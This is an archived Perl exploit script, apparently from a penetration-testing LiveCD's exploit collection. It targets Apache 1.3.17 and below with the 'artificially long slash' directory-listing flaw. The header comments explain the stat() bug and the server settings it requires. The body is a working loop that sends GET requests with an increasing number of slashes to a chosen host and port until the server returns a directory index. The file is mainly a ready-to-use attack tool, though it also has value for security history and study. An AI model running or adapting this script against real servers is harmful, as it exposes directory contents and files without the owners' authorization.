home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / apa-longslash.pl < prev    next >
Perl Script  |  2005-02-12  |  4KB  |  104 lines

  1. #!/usr/bin/perl
  2. #
  3. # farm9, Inc. (copyright 2001)
  4. #
  5. # Name: Apache Artificially Long Slash Path Directory Listing Exploit
  6. # Author: Matt Watchinski
  7. # Ref: SecurityFocus BID 2503
  8. #
  9. # Affects: Apache 1.3.17 and below
  10. # Tested on: Apache 1.3.12 running on Debian 2.2
  11. #
  12. # Info:  This exploit tricks apache into returning a Index of the a directory
  13. #    even if an index.html file is present.  May not work on some OS's
  14. #
  15. # Details: http_request.c has a subroutine called ap_sub_req_lookup_file that in
  16. #       very specific cases would feed stat() a filename that was longer than
  17. #       stat() could handle.  This would result in a condition where stat()
  18. #       would return 0 and a directory index would be returned instead of the
  19. #       default index.html.
  20. #
  21. # Code Fragment: /src/main/http_request.c
  22. #    if (strchr(new_file, '/') == NULL) {
  23. #        char *udir = ap_make_dirstr_parent(rnew->pool, r->uri);
  24. #
  25. #        rnew->uri = ap_make_full_path(rnew->pool, udir, new_file);
  26. #        rnew->filename = ap_make_full_path(rnew->pool, fdir, new_file);
  27. #        ap_parse_uri(rnew, rnew->uri);    /* fill in parsed_uri values */
  28. #        if (stat(rnew->filename, &rnew->finfo) < 0) {   <-- Important part
  29. #            rnew->finfo.st_mode = 0;
  30. #        }
  31. #
  32. # Conditions: Mod_dir / Mod_autoindex / Mod_negotiation need to be enabled
  33. #          The directory must also have the following Options enabled:
  34. #             Indexes and MultiView
  35. #          Some OS's have different conditions on the number of character
  36. #          you have to pass to stat to make this work.  If stat doesn't
  37. #          return 0 for path names less than 8192 or so internal apache
  38. #          buffer checks will stop this exploit from working.
  39. #
  40. #           Debian needed around 4060 /'s to make this work.
  41. #
  42. # Greets: Special thanks to natasha who added a lot of debug to apache for me
  43. #      while i was trying to figure out what had to be enabled to make this
  44. #      exploit work.  Also thanks to rfp for pointing out that MultiView
  45. #      needed to be enabled.
  46. #
  47. # More Greets:  Jeff for not shooting me :) <All your Cisco's belong to us>
  48. #               Anne for being so sexy <I never though corporate espionage
  49. #                   would be so fun>
  50. #               All my homies at farm9
  51. #               DJ Charles / DJ NoloN for the phat beats
  52. #               Marty (go go gadget snort)
  53. #               All my ex-bees
  54. #               RnVjazpIaXZlcndvcmxk
  55. #
  56. # I think that wraps it up.  Have fun.
  57. #
  58. # Usage: ./apacheIndex.pl <host> <port> <HI> <Low>
  59. # Where: Hi and low are the range for the number of / to try
  60. #
  61.  
  62. use IO::Socket;
  63.  
  64. $low  = $ARGV[3]; #Low number of slash characters to try
  65. $hi   = $ARGV[2]; #High number of slash characters to try
  66. $port = $ARGV[1]; #Port to try to connect to
  67. $host = $ARGV[0]; #Host to try to connect to
  68.  
  69. # Main loop.  Not much to this exploit once you figure out what needed to
  70. # be enabled.  Need to do some more testing on sub-dirs to see if it
  71. # works with them.  It should. Also different OS's might use a different number
  72. # of /.  Send me the numbers if you don't mind matt@farm9.com
  73.  
  74. while($low <= $hi)
  75. {
  76.  
  77. $socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "TCP") or die "Connect Failed";
  78.  
  79.   $url = "";
  80.   $buffer = "";
  81.   $end = "";
  82.  
  83.   $url = "GET ";
  84.   $buffer = "/" x $low . " HTTP/1.0\r\n";
  85.   $end = "\r\n\r\n";
  86.  
  87.   $url = $url . $buffer . $end;
  88.  
  89.   print $socket "$url";
  90.   while(<$socket>)
  91.   {
  92.     if($_ =~ "Index of")
  93.     {
  94.       print "Found the magic number: $low\n";
  95.       print "Now go do it by hand to to see it all\n";
  96.       close($socket);
  97.       exit;
  98.     }
  99.   }
  100.  
  101.   close($socket);
  102.   $low++;
  103. }
  104.